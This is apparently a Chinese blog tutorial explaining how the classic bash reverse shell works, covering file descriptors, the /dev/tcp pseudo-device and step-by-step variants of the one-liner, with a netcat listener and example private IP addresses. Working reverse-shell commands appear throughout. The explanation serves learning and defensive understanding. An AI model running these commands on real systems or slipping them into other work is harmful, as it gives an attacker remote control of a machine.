前言

  Linux下,一条bash命令就可以反弹出shell。之前不求甚解的复现,突然有了一个疑问,为什么这样就能实现shell反弹?又重新学习了一下bash,这是一篇关于bash反弹原理的介绍。

  反弹shell命令如下

  受害者:

bash -i >& /dev/tcp/ip/port 0>&1

  攻击者

nc -lvp port

反弹 shell 的本质

  接下来依次解释一下上面两条命令的意思。

  1.bash -i

  1)bash 是linux 的一个比较常见的shell,其实linux的shell还有很多,比如 sh、zsh、等,他们之间有着细小差别

  2)-i (interact)这个参数表示的是产生交互式的shell

  2.>&

对于这个要先了解Linux下的linux文件描述符的概念,linux shell下有三种标准的文件描述符:

0是 stdin 代表着标准输入,使用<或者<<

  1是 stdout 代表着标准输出,使用>或者>>

  2是 stderr 代表着标准错误输出,因为也是输出,所以也是>或者>>,但是为了区别std,所以使用2>或2>>。

  在默认的条件下是0。>&符号链接在一起就是把输入重定向的意思。

  3./dev/tcp/ip/port

对于/dev/tcp/ip/port是特殊设备文件(因为Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据,其作用是让本机与目标主机通过指定端口建立tcp连接。

反弹shell python 反弹shell bash编码_反弹shell python

反弹shell python 反弹shell bash编码_反弹shell python_02

   4.0>&1

  最后0>&1(放在>后面的&,表示重定向的目标不是一个文件,而是一个文件描述符)是把前面的输入重定向给了输出。

那么整个 bash -i >& /dev/tcp/ip/port 0>&1就是一个交互性的shell把输入内容通过socket重定向给了远端服务器的端口,远端服务器的输入又重定向给了输出,这样就是实现了一个远程交互shell。

  5.命令合成

bash -i >/dev/tcp/192.168.80.131/3333

  此时受害者执行的bash命令执行结果会输出到攻击者的电脑上,不会在自己的电脑上输出。

  但是这里有一个问题,攻击者没有能够实现对受害者的控制,攻击者执行的命令没法在受害者电脑上执行。

  于是我们似乎还需要一条这样的指令

bash -i < /dev/tcp/192.168.27.131/3333

  此时是攻击者输入bash命令,在受害者电脑上输出,与上面的内容刚好相反

  把两个场景结合起来

bash -i > /dev/tcp/192.168.80.131/3333 0>&1

  而此时攻击者的命令还会在受害者电脑上输出,我们可以用混合输出(错误、正确输出都输出到一个地方)解决一下这个问题:

bash -i > /dev/tcp/192.168.80.131/3333 0>&1 2>&1

  当然我们也可以执行与之完全等价的指令

bash -i >& /dev/tcp/192.168.80.131/3333 0>&1
bash -i >& /dev/tcp/192.168.80.131/3333 0<&1

  这里的唯一区别就是 0>&1 和 0<&1 ,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别。

END

  至此,反弹shell的经典语句就分析完了,通过这条语句的分析我们能大致的了解反弹shell的本质,以后碰到其他的反弹shell 的语句也能用类似的分析方法区分析,甚至我们也可以自己举一反三创造更加绝妙的反弹shell 的语句。